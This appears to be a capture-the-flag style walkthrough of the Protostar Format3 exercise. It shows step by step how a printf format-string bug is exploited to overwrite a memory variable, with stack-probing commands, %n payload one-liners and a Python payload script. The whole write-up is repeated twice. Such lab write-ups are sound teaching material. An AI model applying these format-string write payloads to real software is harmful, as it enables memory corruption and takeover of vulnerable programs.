Protostar 0x13 Format3
Prev: 0x12 - Format2
Next: 0x14 - Format4
This level takes the arbitrary write yet another step further, testing whether or not we can write more than one or two bytes of memory.
Instead of writing "64" like in the prior level, we now need to write "0x01025544" which is almost 17 million bytes in decimal! Let's see if we hit any snags writing such a large number.
First, "objdump" to find the location of "target."
$ objdump -t /opt/protostar/bin/format3
/opt/protostar/bin/format3: file format elf32-i386
SYMBOL TABLE:
08048114 l d .interp 00000000 .interp
08048128 l d .note.ABI-tag 00000000 .note.ABI-tag
...
080496e8 g O .bss 00000004 stdin@@GLIBC_2.0
080496f4 g O .bss 00000004 target
Looks like the address for target is "0x80496f4," so we will begin our string with this address for our arbitrary write. But first, let's locate our input string on the stack so we know which position it will be in. I will be light on the details here as I've covered this in the prior two levels.
user@protostar:/tmp$ python -c 'print "A" * 4 + "%x "*12' | /opt/protostar/bin/format3
AAAA0 bffff5a0 b7fd7ff4 0 0 bffff7a8 804849d bffff5a0 200 b7fd8420 bffff5e4 41414141
Bummer - it looks like our input string is further up the stack than last time. It's actually in the 12th position. We could enter 11 dummy modifiers again before our "%n," but surely there's a better way!
Fortunately, if we check the man page for "printf" once again, we find that we actually have the ability to specify which argument we want to use for our modifier:
This way, instead of passing in 11 dummy modifiers and then entering "%n" so it uses the 12th argument, we can simply enter "%12$n" - let's test this out:
$ python -c 'print "\xf4\x96\x04\x08" + "%12$n"' | /opt/protostar/bin/format3
target is 00000004 :(
Great, it works! Now, how do we write a value larger than one million to this address? If we check the source code once more, we see that our buffer is only 512 bytes large.
If we remember back to our format0 solution, we recall that we can pad the values provided through our "printf" arguments. Let's try to pad "0x1205540" spaces to a "%d" modifier (decimal 16,930,116 minus 4 to account for the address of "target"):
$ python -c 'print "\xf4\x96\x04\x08" + "%16930112d" + "%12$n"' | /opt/protostar/bin/format3
...
you have modified the target :)
So, we've done it, but we shouldn't be too proud - we haven't really experimented with anything new, and instead we relied on techniques we already knew which resulted in a very slow and inefficient exploit. Is there another way?
We might want to attempt writing each byte individually, but not only is the smallest byte "0x1" and thus not writable (since we need a minimum of "0x4" for the address), we also hit a snag with the way the write works: although we'd like for it to write a buffer that's only as large as necessary, we must remember that 32 bits are written regardless of the actual size of the integer. In other words, writing 0x10 is actually a write of "0x00000010!"
However, this still gives us some freedom. Consider if we could write 0x44 to "target" - it's value would be "0x00000044." Then, what if we write 0x55 to "target" plus 1? Target would be "0x00005544!" Note that we still write 8 full bytes, but the 2 bytes to the left of "target" are not considered, nor do we care about what they are overwriting (hopefully). Finally, we could write "0x102" to "target" plus 2, and we'll end up with "0x01025544" as requested!
This has the potential to get confusing, so let's put this together in a Python file (this script isn't clean but should be easy to read):
import struct
addr1 = struct.pack("<I", 0x080496f4) #this is "target"
addr2 = struct.pack("<I", 0x080496f5)
addr3 = struct.pack("<I", 0x080496f6)
pad_to_44 = "%56d"
write1 = "%12$n" #addr1 is the 12th argument
pad_to_55 = "%17d"
write2 = "%13$n" #addr2 is the 13th argument
pad_to_102 = "%173d"
write3 = "%14$n" #addr3 is the 14th argument
payload = addr1 + addr2 + addr3 + pad_to_44 + write1 + pad_to_55 + write2 + pad_to_102 + write3
print payload
When we run it, we see that we are successful:
$ python format3.py | /opt/protostar/bin/format3
...
you have modified the target :)
And it was much faster!
Prev: 0x12 - Format2
Next: 0x14 - Format4
Next: 0x14 - Format4
This level takes the arbitrary write yet another step further, testing whether or not we can write more than one or two bytes of memory.
Instead of writing "64" like in the prior level, we now need to write "0x01025544" which is almost 17 million bytes in decimal! Let's see if we hit any snags writing such a large number.
First, "objdump" to find the location of "target."
$ objdump -t /opt/protostar/bin/format3
/opt/protostar/bin/format3: file format elf32-i386
SYMBOL TABLE:
08048114 l d .interp 00000000 .interp
08048128 l d .note.ABI-tag 00000000 .note.ABI-tag
...
080496e8 g O .bss 00000004 stdin@@GLIBC_2.0
080496f4 g O .bss 00000004 target
Looks like the address for target is "0x80496f4," so we will begin our string with this address for our arbitrary write. But first, let's locate our input string on the stack so we know which position it will be in. I will be light on the details here as I've covered this in the prior two levels.
user@protostar:/tmp$ python -c 'print "A" * 4 + "%x "*12' | /opt/protostar/bin/format3
AAAA0 bffff5a0 b7fd7ff4 0 0 bffff7a8 804849d bffff5a0 200 b7fd8420 bffff5e4 41414141
Bummer - it looks like our input string is further up the stack than last time. It's actually in the 12th position. We could enter 11 dummy modifiers again before our "%n," but surely there's a better way!
Fortunately, if we check the man page for "printf" once again, we find that we actually have the ability to specify which argument we want to use for our modifier:
This way, instead of passing in 11 dummy modifiers and then entering "%n" so it uses the 12th argument, we can simply enter "%12$n" - let's test this out:
$ python -c 'print "\xf4\x96\x04\x08" + "%12$n"' | /opt/protostar/bin/format3
target is 00000004 :(
Great, it works! Now, how do we write a value larger than one million to this address? If we check the source code once more, we see that our buffer is only 512 bytes large.
If we remember back to our format0 solution, we recall that we can pad the values provided through our "printf" arguments. Let's try to pad "0x1205540" spaces to a "%d" modifier (decimal 16,930,116 minus 4 to account for the address of "target"):
$ python -c 'print "\xf4\x96\x04\x08" + "%16930112d" + "%12$n"' | /opt/protostar/bin/format3
...
you have modified the target :)
So, we've done it, but we shouldn't be too proud - we haven't really experimented with anything new, and instead we relied on techniques we already knew which resulted in a very slow and inefficient exploit. Is there another way?
We might want to attempt writing each byte individually, but not only is the smallest byte "0x1" and thus not writable (since we need a minimum of "0x4" for the address), we also hit a snag with the way the write works: although we'd like for it to write a buffer that's only as large as necessary, we must remember that 32 bits are written regardless of the actual size of the integer. In other words, writing 0x10 is actually a write of "0x00000010!"
However, this still gives us some freedom. Consider if we could write 0x44 to "target" - it's value would be "0x00000044." Then, what if we write 0x55 to "target" plus 1? Target would be "0x00005544!" Note that we still write 8 full bytes, but the 2 bytes to the left of "target" are not considered, nor do we care about what they are overwriting (hopefully). Finally, we could write "0x102" to "target" plus 2, and we'll end up with "0x01025544" as requested!
This has the potential to get confusing, so let's put this together in a Python file (this script isn't clean but should be easy to read):
import struct
addr1 = struct.pack("<I", 0x080496f4) #this is "target"
addr2 = struct.pack("<I", 0x080496f5)
addr3 = struct.pack("<I", 0x080496f6)
pad_to_44 = "%56d"
write1 = "%12$n" #addr1 is the 12th argument
pad_to_55 = "%17d"
write2 = "%13$n" #addr2 is the 13th argument
pad_to_102 = "%173d"
write3 = "%14$n" #addr3 is the 14th argument
payload = addr1 + addr2 + addr3 + pad_to_44 + write1 + pad_to_55 + write2 + pad_to_102 + write3
print payload
When we run it, we see that we are successful:
$ python format3.py | /opt/protostar/bin/format3
...
you have modified the target :)
And it was much faster!
Prev: 0x12 - Format2
Next: 0x14 - Format4